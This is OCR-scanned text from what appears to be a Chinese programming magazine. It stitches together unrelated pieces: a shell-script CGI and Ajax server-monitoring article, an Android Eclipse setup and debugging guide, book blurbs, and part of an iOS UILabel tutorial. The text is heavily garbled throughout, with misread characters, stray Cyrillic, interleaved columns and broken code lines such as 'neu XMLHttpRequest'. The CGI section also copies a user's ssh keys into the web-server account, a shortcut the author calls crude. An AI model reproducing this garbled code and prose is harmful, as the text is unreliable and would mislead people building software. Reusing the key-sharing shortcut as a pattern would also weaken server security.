所 需 的 纵 轴 、 椰 轴 ， 以 及 其 他 坐标 值 ， 如 代码 
清单 5 所 示 。 代 码 清单 4 中 第 17 行 的 tail -r 
是 反 回 显示 文件 的 命令 ， 和 Linux 的 tac 等 价 。 
然后 就 是 做 成 SVG, 加 上 HTTP 头 , 并 
从 标准 输出 进行 输出 即 可 。 使 用 Open usp 
Tukubai 的 mojihame 命令 ， 把 代码 清单 的 数 
据 循环 加 入 到 $tmp-sar 中 ， 制 作 图 形 的 SVG， 
关于 这 一 点 这 里 不 再 费 述 ， 总 之 就 是 先 把 绘图 
的 HTML 片段 输出 。 我 们 继续 往 下 进行 。 
然后 本 来 想 讲 HTML 方面 的 内 容 的 ， 但 使 
用 ssh 需 要 密 钥 认证 ， 所 以 还 得 先 对 这 个 进行 
设置 。 可 以 使 用 _ www 账号 连接 ueda@www. 
usptomo.com, 但 在 Mac 环 境 下 , 在 上 日 录 / 
Library/WebServer.ssh/ 下 把 密 钥 整套 设 好 即 可 。 
笔者 挪用 目 己 密 钥 的 设 定 比 较 粗 炸 ， 如 网 5 所 
示 ， 如 果 想 正 儿 八 经 地 做 ， 应 该 切换 成 root 账 


У Ёз cgi-name 的 执行 示例 


编写 CGI 脚本 ( 3 ) 
一 一 使 用 Ajax 动态 更 新 页 面 


号 ， 然 后 做 一 个 密 铀 ， 再 配置 到 所 连接 的 服务 
希 。 要 注意 所 有 者 和 许可 证 的 问题 。 

接 下 来 我 们 把 话题 转移 到 HTML 方面 。 
HTML 方面 针对 多 个 主机 执行 1davg.cgi， 完 成 
图 表 的 描绘 (代码 清单 6 )。 这 样 就 做 成 了 可 以 
将 多 个 服务 右 的 状态 尽 收 眼底 的 Web 监视 画面 。 
虽然 比较 麻烦 ， 但 Ajax 还 是 使 用 异步 方式 。 

这 段 代 码 是 基于 代码 清单 3 改编 而 成 的 。 
第 31 行 中 通过 设 定 <body onload=..., 在 页 面 
被 载 和 人 时 调用 check РА, Лл BE 60 ЖР ЛД 
调用 check。 在 check РА, ЗЕЕ ХГ АЈ 
主机 ， 然 后 调用 ldavg РА 

Be F Ж HR жЕ 4] JF Idavg.html, Ж nJ DI 
看 到 如 图 6 所 示 的 图 形 ， 每 分 钟 (sar 数 据 本 号 
是 每 10 分 钟 ) 会 重新 描绘 一 次 。 


У (1558588 5 $tmp-sar 中 存储 的 数据 实例 


40 14 时 00 分 12 0.12 27 39 
60 13 时 50 分 0 0.00 47 59 
80 13 时 40 分 3 0.03 67 79 


$ echo 'host-uedagwww.usptomo.com&port-12545' | cgi-name 


host uedaawww.usptomo.com 
port 12345 


w[E4 sar 的 输出 实 示例 


www.usptomo.com -p 12345 'LANG-C sar -q' | head -n 7 


2.6.32-279.19.1.е16.х86 64 


Ldavg-1 
1.26 


runq-sz plist-sz 


У 85 把 ueda 账 号 的 密 钥 移 给 _www 账号 


# cd /Library/WebServer/ 
# rsync -a /Users/ueda/.ssh/ .ssh/ 


# chown www: www .ssh/ 


Ldavg-5 
1.10 0.58 
0.32 0.45 
0.06 0.23 
0.00 0.10 


Ldavg-15 


# chown | www: www .ssh/* 
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XFS Quota ! 


14... 16:17 


大 彻 大 悟 jGxsshe 咱 脚本 


各 图 6 完成 后 的 画面 
@ CO О Ci атола mm а: 
Pm "= с Гу localhost] idavg. html i i Е 
www.usptomo.com araibo.is-a-geek.com 
750^ m - I — 本 回 是 CGI 课题 的 最 终 回 ， 挑 战 了 一 下 用 
10402 1088405 shell 脚本 实现 Ajax 的 课题 。 通 过 使 用 本 回 介 
10830 101305 
L a 109208 绍 的 方法 ， 不 管 是 同步 方式 还 是 异步 方式 ， 都 
ce comsoa 可 以 用 shell АХАЛ 5-а ЕС), ШЖ 
BN ADF 
== | 再 把 Web 页 面 设计 得 美观 一 些 ， 甚 至 就 会 让 人 
感觉 不 到 是 用 shell 脚本 做 的 网 站 。 不 过 现实 总 
有 代码 清单 6 调用 ldavg.cgi 的 HTML( Idavg.html ) 是 令 人 出 乎 意料 ， 这 样 的 网 站 似乎 还 不 少 呢 。 
01 <1DOCTYPE html> 下 一 回 ， 我 们 将 讲解 关于 原稿 和 笔记 等 文 
02 <html lang="ja"> ET : 
03 «head» ЗР ДОТ 
04 <meta charset="UTF-8" /> 
05 <script> 
06 var hosts = ["host-uedagdwww.usptomo.com&portz12345", 
07 "host-uedagaraibo.is-a-geek.com&port-z12345"]; 
08 
09 function сһеск() < 
10 Ldavg(0,"graph0"); 
11 Ldavg(1,"graph1'"); 
12 ) 
15 
14 function Ldavg(hostno,target)( 
15 var h = neu XMLHttpRequest(); 
16 h.onreadystatechange = function()í 
17 if(h.readyState != 4 || h.status !- 200) 
18 return; 
19 
20 document .getElementById(target).innerHTML = h.responseText; 
21 ) 
22 
23 h.open("POST","/cgi-bin/ldavg.cgi",true); 
24 h.setRequestHeader("Content-Type", 
25 "application/x-www-form-urlencoded'); 
26 h.send( "d=" + Math.random() + "&" + hostsL[hostno); 
27 ) 
28 
29 </script> 
50 </head> 
51 <body onload="check();setInterval('check()',60000)"> 
32 «div id-"graphÜ" style="height:600px;width:350px;float: Left"></div> 
53 «div id-"graph1" style-"height:600px;width:550px;float : Left"></div> 
34 </body> 
35 </html> 
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如 果 你 想 要 开发 一 个 Android 应 用 ， 现 在 
可 以 说 是 最 好 的 时 期 。 因 为 Android 系 统 已 
经 步 和 人 了 稳定 期 ， 对 于 入门 者 来 说 ， 现 在 的 
Android 系统 基础 稳固 ， 非 常 容易 学 习 。 

根据 谷歌 大 会 上 公布 的 信息 ， 目 前 已 经 
有 高 达 9 亿 台 的 Android 设 备 被 激活 。 看 来 
Android BAWN EAW Hmo AIh, wF 
HJ CK pe HI Android 的 新 技术 来 博 人 有 眼 
球 , 今年 则 有 所 不 同 , 与 新 加 入 的 功能 相 比 ， 
对 实际 的 应 用 开发 的 介绍 所 占 比重 大 大 增加 ， 
甚至 还 有 “如 何 用 Android 应 用 来 赚钱 ”这 种 露 
骨 的 标题 。 

谷歌 大 会 上 发 布 的 这 些 内 容 ， 说 明 Android 
已 经 过 了 以 新 技术 为 卖点 的 黎明 期 真正 进入 
了 稳定 期 。 无 论 从 书 上 还 是 从 网 站 上 ， 都 可 以 
找到 大 量 的 由 前 人 分 至 的 失败 经 验 和 最 好 的 解 
决 方案 。 只 要 将 应 用 公开 发 布 ， 就 可 以 为 人 们 
提供 服务 。 如 采 现 在 想 要 开始 Android 应 用 开 
发 的 话 ， 借 助 先 驱 者 们 的 知识 ,很 快 就 可 以 车 
握 这 门 技 术 。 通 过 这 些 技 术 ， 可 以 完成 许 许 多 
多 的 事情 。 

从 本 文 开始 ， 笔 者 将 以 连载 的 形式 向 大 家 
介绍 Android 的 相关 知识 ， 预 定 分 3 期 完成 。 
每 一 期 都 将 围绕 着 不 同 的 主题 ,将 Android 开 
发 的 精髓 ， 以 及 Android 开 发 中 有 意思 的 地 方 ， 
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"VT 715 Android 


应 用 开发 吧 1. 


Google Android 作为 第 一 个 移动 设备 的 开源 平台 ， 吸 
引 了 很 多 工程 师 的 注意 。 让 我 们 通过 学 习 那 些 积累 了 丰富 经 验 
的 Android 工 程 师 们 分 享 的 技巧 和 信息 ， 朝 着 Android 的 世 
界 大 步 前 进 吧 | 


文 /铃木 圭 介 SUZUKI Kelsuke 

Android& ERA È T Fell 
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分 享 给 大 家 。 同 时 也 会 加 入 许多 最 新 的 信息 ， 
因此 对 于 有 经 验 的 Android 开 发 者 来 说 也 是 非 
ЖН Н) 

本 文 将 从 JDKEK 和 ADT 绑 定 版 Eclipse 的 安 
装 、 应 用 实例 的 运行 ， 以 及 如 何 调 试 这 几 个 方 
面 进行 讲解 。 


D 开发 环境 的 准备 


让 我 们 先 从 开发 环境 的 准备 开始 。 这 部 分 
本 想 一 囊 而 过 ,但 是 有 很 多 东西 还 是 需要 讲解 
= 

通常 使 用 综合 开发 环境 Eclipse 来 进行 
Android F Ж 安装 Eclipse 之 前 , 需要 安装 
JDK ( Java Development Kit), 安装 JDK 的 原 
因 有 两 个 ， 第 一 个 是 为 了 编译 Android 的 Java 
代码 ， 另 一 个 原因 是 Eclipse 本 身 的 运行 也 需要 
JDK 的 文 持 。 

本 文 的 介绍 以 在 Windows 7 64bit 系 统 上 构 
筑 开 发 环境 为 准 。 


(23 JDK 的 安装 


从 JDK 的 下 载 页 面 山 下 载 JDK7 并 安装 。 
从 JAVA SE Development Kit 7u25 的 操作 平台 
列表 中 , 选择 你 正在 使 用 的 O0S。 比 如 正在 
使 用 32 位 Windows 的 情况 下 , 就 选择 属于 


(D http://bit.ly/JDKdown 
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可 图 1 Android SDK ADT Bundle for Windows 


= A [I] Apillernos јама 5 Br Outline £3 
Ф * Copyright (C) 2687 The Android Open Source Projecti Blu w 9 w C 
| Е com.example.androld.apis 
代码 视图 | 4 (9 ApiDemos 
b 88 gen [Generated Java Files isport android. app. ListActivity;l] & „ onCreate(Bundle) : vold 
b mà Android 4.2.2 public class ApiDemos extends ListActivity Í Ф getData(String) : List« Map: 
b dg» assets а i sDisplayNameComparator : 
f hin guverride a с 
P > > public void antreate(Bundle savedinstancestate) { P new Comparatort) +...) 
b d» res super .oncreate(savedInstancestate); ó — activibyIntent(String, String: 
ests 2 browselntemnti Stri : Int 
j et Intent intent = getImtent(); k ишиц); Inter 
СЙ AndroidManifest.xmi String path = intent.getstringExtra("com.example.android.apic. o edditem(List «Map «String, 


project. properties IF (path "T $a onListibemClick(Listview, Vi 
1 pa mm p 


path = "=; i = 
| Каз 
zetl istAdapter (мы эйр 1еАйлр®ег (this, getDmnta(pathhi, > 
jasi £ "ж 


UR] Problems @ davadae (0, Declaration [E] Console blocs 1: R Devices i$ File Explorer 


package com,.example.android.apiz; 


[3 README.txt 


Saved Filters Ф * search for messages. Accepts Java regexes. Prefix with pid:, appi tag: or text: to. | verbos E Н Ё 


All messages (no Í 
| ( T PID TID Application rag Text = 


n7-01 15:33:01.032 223566 27366 Powerf&avingM... receive Int 
07-01 16:33:01.798 1918 1818 DataHouter usb connect 
07-01 16:33:01.798 1818 1818 DarcaBRourer CSR is ON. 团 


Device disc = 


Widows x86 Ж 21] fJ jdk-7u25-widows-i586.exe; 然后 ， 我 们 把 下 载 的 zip 文 件 ， 在 合适 的 
正在 使 用 64 位 widows 的 情况 下 ， 就 下 载 属于 地 方 解 压 。 打 开 解 压 后 的 eclipse 文 件 夹 , 在 
Widows 64 £ ¿IJ ka jdk-7u25-widows-x64.exe, 根 目 录 下 就 有 eclipse.exe 文 件 。 在 你 喜欢 的 地 
然后 进行 安装。 安装 工作 可 以 直接 执行 到 最 后 方 ， 比 如 说 更 面 ， 建 立 eclipse.exe 的 快捷 方式 。 


= о. 双击 该 快捷 方式 ， 就 会 打开 默认 的 工作 目录 
2a . та (workspace )。 如 朵 没有 特别 的 理由 ， 无需 更 
@ АРТ = Eclipse ES 改 此 路 径 。 在 “Use this as the default and do not 
接 下 来 到 Android SDK ОТ АЭ, ^F zi Zi ask again”( 本 目录 作为 默认 目录 ， 下 次 启动 时 
定 了 ADT 搬 件 的 Eclipse。 点 击 这 个 页 面 上 的 该 对 话 框 将 不 再 显示 ) 里 打 勾 ， 选 择 OK 束 可 
[Download the SDK ADT Bundle for Windows] V. 

ТЕН, 在 接 下 来 的 页 面 下 载 32 位 或 者 64 位 然后 会 出 现 “Contribute Usage Statistics?” 
的 版 本 。 以 前 都 需要 先 下 载 Eclipse， 再 安装 这 个 对 话 框 。 如 果 想 要 把 SDK 的 使 用 情况 
ADT. MEA T ADT 绑 定 版 ， 束 不 需要 发 送 给 Google， 为 SDK 的 改善 做 贡献 的 话 ， 
这 样 的 操作 了 。 就 选择 Yes, 否则 选 No, 然后 点 击 Finish 按 
钮 。 第 一 次 启动 的 时 候 ， 整 个 画面 上 会 显示 

Android IDE 的 标签 。 将 其 关 掉 之 后 ， 就 能 


® 现在 ， 随 着 JDK 有 版 本 的 不 断 开 级 ， 虽 然 Oracle 推 荐 全 用。 到 Android 的 开发 环 之 了 ,应 该 就 是 图 1 那 符 
JDK 7, 但 是 Google 的 ADT 运 行 环境 还 是 以 JDK 6 为 基 的 画面 。 
础 。 根 据 作者 的 调查 ， 在 JDK 7 下 运行 也 是 没有 问题 的 。 
如 果 想 要 安装 JDK 6， 可 以 在 JDK 6 的 导航 页 面 (http:/ 接 下 来 讲 讲 如 何 安 装 开发 包 。 


bit.ly/JDK6archive ) 选择 JDK6， 并 下 载 安装 。 
(3) http://bit.ly/AndSdk 
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Android SDK Manager 9 
设 定 

Android SDK Manager E HÆ SDK 的 版 本 
包 ， 因 为 Android 的 每 个 版 本 所 对 应 的 开发 包 
都 是 不 同 的 。 当 新 版 本 的 开发 包 发 布 的 时 候 ， 
可 以 利用 Android SDK Manager 来 更 新 。 但 是 
因为 没有 更 新 的 通知 功能 ， 需 要 时 不 时 地 去 手 
动 检查 是 否 可 以 进行 更 新 。 

Eclipse 的 主 画 面 左上 方 有 两 个 Android 
图 标 , 其 中 左边 那个 就 是 “Android SDK 
Manager”( 参 考 图 1 的 对 象 枉 )， 点 击 这 个 图 标 
就 可 以 启动 Android SDK Manager( 图 2), 可 
以 在 Android SDK Manager 中 选择 是 否 安 装 开 
发 包 ， 并 根据 自己 的 需要 ， 对 开发 包 进 行 下 载 。 

安装 Eclipse 之 后 ， 这 个 时 候 只 安装 了 最 
新 的 开发 包 。 所 以 如 果 没 有 对 和 象 Android 设 备 
的 开发 包 的 话 ， 就 需要 在 这 里 选择 安 狐 。 为 
外 ， 因 为 之 后 还 要 使 用 实例 工程 (Samples for 
SDK )， 所 以 要 选择 与 日 身 的 Android 设 备 相符 
的 版 本 。 

ШАП, АП RUE ДЛ А Zi: Android 4.0.3 
的 话 ， 就 应 该 选中 “Android 4.0.3(API 15)" Œ 


У 82 Android SDK Manager 


HJ “SDK Platform" , “ARM EABI v7a System 
Image” 和 “Samples for SDK” 

另外 , 由 于 Windows 的 情况 下 需要 安装 
连接 PC 和 设备 的 USB 驱动， 所 以 还 需要 选中 
“Extras” 的 “Google USB Driver"; 

这 些 都 选择 之 后 ， 点 击 “Install X Package" 
(X 是 选择 安 猴 包 的 数量 ) 的 按钮 ， 然 后 在 下 
一 个 画面 中 ， 选 中 “Accept License"， 并 点 击 
“Install” 按 钮 。 所 有 的 安装 包 都 下 载 、 安 装 之 后 ， 
Android 的 Eclipse 开发 环境 也 就 完成 了 。 

接 下 来 我 们 介绍 一 下 应 用 执行 环境 的 模 


运行 环境 的 准备 


没有 Android 设 备 的 情况 下 ， 或 者 想 在 动 
作 确 认 和 调试 的 时 候 世 省 设备 传输 的 时 间 的 话 ， 
可 以 在 PC 上 下 接 使 用 模拟 硕 。 如 果 开 发 中 不 
需要 用 到 模拟 天 的 话 ， 可 以 跳 过 本 章 。 

AVD Manager Big e TUE UI. 
器 的 局 动 

想 要 局 动 模拟 带 ， 首先 要 用 AVD ( Android 
Virtual Device ) Manger 新建 对 应 的 设备 模型 。 
АУР Manager 是 新 建 和 启动 模拟 需 的 管理 工具 。 
点 击 Eclipse 左 上 角 的 Android SDK 
Manager 图 标的 右 侧 的 “Android 


| SDK Path: C;:eTOOLwadt-bundle-windows-x86_64-20130522%adt-bundle-windovss-x86_64-201305226sdk 


Packages 
a. Name 
á F] Ы Tanls 
№ 4 Android SDK Tonls 22.0.1 Ё Installed 
№ 4 Android SDK Platform-tnols 17 Ё Installed 
F| 4 Android SDK Paild-tools 17 Ё Installed 
4 F| Eg Android 4.2.2 (APT 17) 
[71 [f Documentation for Android SDK 
М 看 SDK Platform 
№ 1 Samples for SDK 
[^] Hg ARM EARI v?n 5ystem Image 
[^] ШШ Inte! y86 Aram System Image 
[^] BR MIPS System Image 
№ и! Googe APIs 
№ T] Sources far Android SiW 
b ГЇ Eg Android 4.1.2 (APT 16) 
t F| Eg Android 4.0.3 (APT 15) 
b FI Eg Android 4.0 (APT 14) 
b F Eg Android 3.2 (APT 13) 
b FIER Android 3.1 (APT 12) 
| n FIF Android 3.40 ГАРТ 111 
Show: [v|Updates/Mew |Z|Installed — | |Obsolete Select New or Updates 


Rev. — Status 


E Installed 


E Installed 


ka ш a ls ЮМ. ks Әр by 


Sort by: @ АРІ level Ф) Repository Deselect All 


н 
Done leading packages. 


| Nor installed 


| Not installed 


Install 1 packago... 


Delete packages... 


Virtual Device Manager" K| % CE 
考 图 1 的 对 象 框 )， 就 会 弹出 一 个 
窗口 ， 点 击 窗 口中 的 “New” 按 钮 ， 
就 会 显示 模拟 需 的 新 建 窗 口 。 在 
“AVD Name” 里 输入 适当 的 名 字 。 从 
Device 中 选择 需要 的 的 设备 。 一 般 
的 智能 机 设备 即 可 的 情况 下 可 以 选 
Ж "Galaxy Nexus", "SD Card" Hj 
大 小 这 一 项 ， 输 入 多 少 都 可 以 。 然 
后 点 击 “OK ”按钮 ， 就 可 以 建成 镜 
像 模型 了 。 在 选中 这 个 镜像 模型 的 
状态 下 ， 点 击 “Start” 按 钮 ， 然 后 在 
弹出 的 画面 中 , 点 击 “Launch” 按 钮 ， 
Android 模 拟 各 就 可 以 启动 了 ! 
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HJ МЕС ( Near Filed Communication ) 41 f£ EX 28 
类 的 功能 是 无 法 实现 的 。 也 就 是 说 ， 在 稍 后 的 
实例 执行 过 程 中 ,那些 和 传 感 郑 相关 的 应 用 ， 
还 是 注意 不 要 去 启动 它 ， 不 过 照相 功能 还 是 可 
以 通过 电脑 的 摄像 头 来 实现 的 。 


@ 真 机 上 的 运行 环境 的 配备 


WRA Android ix 4 Hy ih, 可 以 直接 在 
Android 设 备 上 准备 应 用 的 运行 环境 。 首 先 ， 
打开 Android 设 备 的 “ 设 定 "选项 , 在 “ 面 问 
开发 者 ”的 选项 中 ,把 “USB 调试 " 这 一 项 打 
上 色 外。 这 样 的 状态 下 ， 只 要 连接 了 USB， 就 
可 以 通过 ADB(Android Debug Bridge) 把 PC 和 
Android 系统 连接 起 来 。 但 是 ，Windows 系统 
的 情况 下 必须 有 USB 驱动 才能 够 进行 ADB 连 
接 ， 因 此 请 安 污 由 设备 制造 商 提 供 的 ADB IK 
动 。 如 果 只 需要 连接 Nexus 7、Galaxy Nexus、 
Nexus S, Nexus One 这 些 由 Google 提 供 的 
驱动 的 话 ， 因 为 在 刚才 讲述 的 Android SDK 
Manager 中 已 经 安装 了 相应 的 驱动 ， 所 以 只 需 
要 在 检索 驱动 的 时 候 ， 指 定 路 径 为 “<Eclipse 
的 安装 目录 >\sdkextras\googlevusb driver" 5 
可 以 了 。 

驱动 安装 之 后 , 如 果 想 要 确认 PC 和 
Android 是 否 进行 了 ADB 连接 的 话 ， 可 以 通过 
Eclipse 的 “Devices "标签 来 确认 。 在 Eclipse 
的 菜单 中 ， 依 次 选择 [Window] 一 [Show View] 
一 [Other] 一 [Android]， 再 选择 “Devices”， 点 
击 OK， 这 样 Eclipse 下 面 的 Devices 的 标签 就 
显示 出 来 了 (参照 图 1 画面 的 下 方 )。 然 后 再 在 
列表 中 看 看 自己 的 设备 名 称 是 否 显 示 了 出 来 ， 
如 采 是 就 可 以 了 。 为 外 用 同样 的 方法 还 可 以 显 
示 “Logcat” 标 签 。 从 Logcat 标 签 中 可 以 看 到 
Android 的 启动 Log 和 调试 Log, 所 以 非常 重要 。 


D 找 不 到 面向 开发 者 的 选项 时 ( Android 4.2 以 后 的 版 本 )， 
首先 需要 转移 到 开发 者 模式 。 在 “ 设 定 ”的 信息 栏 ( 关 于 
手机 ) 中, 连续 点 击 7 次 版 本 号 , 开发 者 选项 就 会 显示 出 来 。 


= p A I3 . 


7, 实例 应 用 的 运行 
d 


如 条 PC 上 局 动 了 模拟 硕 ， 或 者 用 ADB 连 
接 了 电脑 和 Android 设 备 的 话 ， 就 可 以 准备 实 
例 应 用 工程 ， 并 看 看 这 些 应 用 都 具备 哪些 功能 。 

首先 ,选择 提供 给 开发 者 的 实例 应 用 ， 
可 以 通过 点 击 Eclipse 的 菜单 中 的 [File ] 一 
[New] — [Other ] — [Android | — [Android 
Sample Project], 从 弹出 的 画面 当中 选择 
Android 的 版 本 。 人 然后 在 “Select Sample" Hj jj 
上 选择 “ApiDemos”。ApiDemo 是 一 个 可 以 试 
验 很 多 功能 的 应 用 。 

准备 好 ApiDemos 工程 之 后 ， 从 某 单 中 选 
择 [Run]， 4i: [Run] (或 者 (cd+E19)， 从 弹出 
的 画面 中 选择 “Android Application", #5 А 
击 OK。 这 样 就 可 以 像 图 3 那样 启动 ApiDemos 
了 (本 图 是 通过 模拟 带 启 动 的 )。 

由 于 实例 有 很 多 ， 所 以 作者 把 个 人 觉得 有 
意思 的 几 个 应 用 整理 到 了 表 1 当中 。 大 家 可 以 
随便 看 看 这 些 实例 ， 或 许 会 给 目 己 想 要 开发 的 
新 应 用 市 来 一 些 启发 。 


w [#]3 Android 


ЁЗ API Demos 
Accessibility 
| Animation 
| App 
Content 
| Graphics 
Media 


NFC 


| OS 


Preference 
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调试 方法 


Android 可 以 使 用 ADB 连接 进行 调试 。 真 
机 的 情况 下 ， 要 确保 USB 处 于 连接 状态 。 调 试 
方法 主要 有 以 下 两 个 。 


D 增加 断 点 ， 逐 步 执行 
(2) 在 Logcat 中 显示 文本 


首先 我 们 用 ApiDemos 这 个 工程 ,来 说 明 
一 下 如 何 使 用 逐步 调试 的 方法 。 打 开 Eclipse 
的 Android T. f£ F BJ [src] 一 
一 [ApiDemos.java], Æ super. 
onCreate(savedInstanceState); ix — 47235 ЈП Wr 
点 。 要 增加 断 点 ， 只 需 通过 双击 这 段 代 码 左边 
的 空格 处 就 可 以 了 。 这 样 我 们 就 可 以 看 到 空白 
处 会 有 一 个 病 点 ， 该 圆 点 就 表示 断 点 。 LI 
状态 下 ， 点击 [Run] 一 [Debug] (或 者 [F111)。 
ЖАА Z Ji TE Android ўн 2: Ji 5) е | 
Eclipse 就 会 转 到 调试 模式 。 在 Eclipse 的 调试 
模式 画面 中 ,可 以 执行 “ 步 骆 跳 过 "“ 步 又 跳 
入 “步骤 打印 ”这 些 基本 的 调试 方法 。 另 外 在 


[com.example. 


Android.apis] 


wZzkE1 ApiDemos 示例 


停止 的 时 候 ， 还 


还 可 以 把 鼠标 移动 到 变量 的 上 方 ， 
来 查看 变量 的 内 容 。 

为 一 个 调试 的 方法 是 在 Logcat 标 签 (显示 
方法 如 前 所 述 ) 中 显示 文本 的 方法 。 也 就 是 

“p intf 调 试 "。 在 ApiDemos.java 中 引入 import 

android.util .Log;， 在 onCreate 方 法 里 增加 Log. 
dC"ApiDemos", "moemoe");。 这 样 调用 onCreate 
方法 时 ， 也 就 是 该 应 用 启动 的 时 候 ， 束 会 在 
Logcat 的 标签 中 显示 “ApiDemos”， 在 文本 里 
输出 “moemoe”。 

一 般 的 应 用 开发 的 话 ， 了 人 解 这 两 种 调试 方 
法 就 足够 了 。 


本 回 我 们 讲述 了 如 何 构建 一 个 开发 环境 ， 
如 何 运 行 示例 应 用 ， 以 及 调试 的 方法 。 这 些 都 
是 开始 Android 开 发 所 无 法 避免 的 工作 。 只 是 
这 里 没有 花费 太 多 的 篇 幅 ， 只 是 简单 地 介绍 了 
下 

从 下 回 开 始 ， 
Android 编 程 。 


我 们 将 说 明 到 底 如 何 进行 


пх d 说 BB 
Animation — Bouncing Balls 点 击 时 出 现 弹 球 的 动画 
Graphics — OpenGL ES 一 Kube 旋转 的 3D 魔方 


Media AudioFx 


音乐 均衡 器 


App Notification 


通知 栏 出 现 的 信息 操作 


Views — Animation 


各 种 各 样 的 动画 


Content— Clipboard 


OS — Rotation Vector 


SHES RS SA S EUH XE 
随 着 设备 倾斜 的 立 万 体 ( 仅 限 真 机 ) 


铃木 ET 


ERA TÈ Android 工程师 。 发 布 了 Android 和 Arduino/mbed/FPG 等 之 间 进 行 U5B 通 信 的 串 行 通信 驱动 的 开源 代码 。 现 在 正在 发 布 
可 用 于 功能 扩张 的 “Physicaloid Library" GIB http;//www.physicaloid.com/ 正在 招募 自由 工作 者 。 
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XT Android Studio 


" Android Studio" £& 2013 ££ 5 В Google K 2013 本 上 都 是 两 三 分 钟 的 长 度 , 可 以 在 上 下 班 , 或 者 上 学 、 
上 友 布 的 全 新 的 Android 开 上 友 环 境 。 它 是 以 JetBrains 放学 时 看 一 下 。 另 外 ， 视 频 当 中 还 介绍 了 目 定 义 注 
公司 的 Intellij IDEA 为 基础 做 成 的 。 与 Eclipse 相 比 ， 释 等 功能 。 
Intelli) IDEA 更 轻 量 ， 同 时 还 具有 重 构 和 辅助 功能 


完善 等 特点 。 现 在 的 版 本 是 0.1.8, 由 于 还 处 于 开 上 友 版 辅助 功能 、 重 构 [6:02 开始 ] 
阶段 ， 经 常 5 天 左右 束 会 更 新 一 次 。 所 以 ， 除 非 你 CD http://bit.ly/AndroidStudioDemo1 
非常 喜欢 Intellij， 否 则 还 是 先 静 观 其 变 吧 。 Git 交互 [9:38 开 始 ] 

即便 如 此 ，Android Studio 还 是 为 开发 增添 了 ОЭ http://bit.ly/AndroidStudioDemo2 


乐趣 。 它 增加 了 各 种 各 样 的 功能 ， 是 一 个 非常 有 鬼 实时 UI 编辑 [17:00 开 始 ] 
力 的 开 友 环境 。 现 在 不 管 什么 开 友 环境 ， 都 会 通过 СО http://bit.ly/AndroidStudioDemo3 
视频 的 形式 让 大 家 体会 一 下 它 的 用 法 。 合 歌 大 会 秒表 应 用 示例 解说 [35:57 开始] 


2013 BS " What's new in Android Developer Tools " CED nttp;//bitly/AndroidStudioDemo4 
WR inm, 38 YouTube p f Android Studio RJ 秒表 应 用 示例 [44:10 开 始 ] 


使 用 泄 例 。 下 面 为 大 家 准备 了 几 个 相关 的 网 址 ， 基 http//bit.ly/AndroidStudioDemo5 


BE [FR gri 


И 系统 服务 开发 


e Android 领域 特殊 作品 ， 一 本 书 精 通 Android 网 络 通 信和 系统 开发 
。 全 彩 插图 清晰 反应 操作 流程 ， 轻 松 愉 dien 底层 原理 
。 国 内 资深 研发 人 士 推 荐 ，Android 进 阶 必 


POM S ww 


第 一 次 看 韩国 人 写 的 技术 书籍 ， 我 最 大 的 感触 是 讲解 深入 、 细 致 和 严谨 ， 不 仅 讲 了 是 什么 ， 还 
讲 了 为 什么 。 作 者 从 原理 的 角度 深度 剖析 ， 解 释 了 Android 系 统 设计 的 内 容 ， 很 多 总 结 很 到 位 ， 
类 比 也 很 形象 ， 可 见 其 对 telephony 模 块 和 power 模 块 有 着 深入 的 研究 和 丰富 的 实战 经 验 。 通 
过 本 书 不 仅 能 够 学 到 技术 , 更 能 体会 那 份 认真 的 态度 , 这 在 当下 日 益 浮 躁 的 氛围 下 显得 尤为 珍贵 ! 


一 一 陈 家 林 ( Marvell 高 级 研发 经 理 ) 
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这 是 一 本 不 错 的 系统 开发 书籍 ， 通 过 本 书 可 以 了 解 系统 进程 间 通 信 、 通 信 ( RIL ) 框 染 、 电 源 管 理 等 内 容 的 相关 细节 ， 对 致 
力 于 这 方面 开发 的 程序 员 来 说 大 有 神 益 。 


一 一 张 泳 (资深 软件 工程 师 、《 深入 剖析 Android 开 发 》 作 者 ) 
Android 系统 中 ， 内 置 App 可 以 实现 电话 号 码 显示 、 亮 度 调整 等 很 多 基本 功能 ， 这 些 Android 手 机 的 基本 功能 就 是 通过 “ 系 


#655” 实现 的 。 本 书 非常 详细 地 讲解 了 各 种 系统 服务 的 内 部 运作 原理 。 毫 无 疑问 , 无 论 你 是 初学 者 还 是 Android 开发 高 手 ， 
都 能 从 本 书 中 获 益 。 


一 一 金 哲 ( 360 高 级 研发 经 理 ) 
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阅读 类 应 用 


GimmiQ ( GimmiQ; Itanokumanbou&lio&reverse ) 
http://hinebonz.net/ 


当然 要 显示 文字 
当然 要 显示 文字 ! 
http://www.studioloupe.com/ 


插图 /中 川 ER 本 连载 希望 从 未 做 过 编程 的 人 也 可 以 体验 制作 APP 的 乐趣 。 此 次 我 
译 / 芳 龙 。。 们 将 介绍 像 阅读 类 应 用 一 样 在 画面 上 显示 文字 的 方法 。 


图 1 本 期 将 要 完成 的 图 像 
这 期 讲 什么 呢 ? j i 


托 大 家 的 福 ， 本 连载 迎 来 了 第 5 回 。 本 期 将 
介绍 对 于 阅读 类 应 用 而 言 必 不 可 少 的 文字 显示 
功能 。 如 图 1 所 示 ， 我 们 和 硕 望 在 各 页 面 上 显示 标 
题 和 正文 。 闲 话 就 不 多 说 了 ， 接 下 来 介绍 一 下 
РЕЛЕ 


“使 用 UlLabel 显 示 文 字 


我 们 为 前 面 连载 中 做 成 的 项 目 加 入 文学 显示 功能 。 用 Xcode 打开 已 做 成 的 应 用 程序 的 项 目 (名 
为 MyBook2.xcodeproj )。 


Cru 


把 显示 标题 文字 的 控件 配置 在 第 一 页 。 

ТЕ Xcode 左 侧 的 Project Navigator( 项 目 
导航 ) 中 点 击 MainStoryboard.storyboard , 
打开 StoryBoard, 接着 从 Xcode 右 侧 的 
Object library (对象 库 ) 把 “Label 控件 拖 
入 到 Page1ViewController 中 (图 step1-1 )。 


© step1-1 Project Navigator Object library 
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PEB 菜鸟 编程 入 门 
A "Ed JTER—'iPhoneigiz3snFB 


然后 调整 刚才 配置 的 Label 控 件 的 大 小 。 点 击 Label,， 使 之 保 — €»step1-2 Size inspector 
持 被 选中 状态 ,然后 点 击 Xcode 右 侧 的 Size inspector( 尺 十 确认 ) [ mg m = Flee 
图 标 ， 有 宽 Y View — 


Height: [= » 把 这 文 些 值 设置 成 和 图 step! -2 一样 。 Ix 个 Label 就 是 Show | Frame Rectangle == > 
各 个 页 面 的 标题 。 p = (JL. jk 


all  —zalfa| 
| 280 B 50 B 
Width Height 


Origin 


把 刚才 配置 好 的 Label 的 字体 大 小 等 设置 成 标题 所 用 的 样 陈 。 

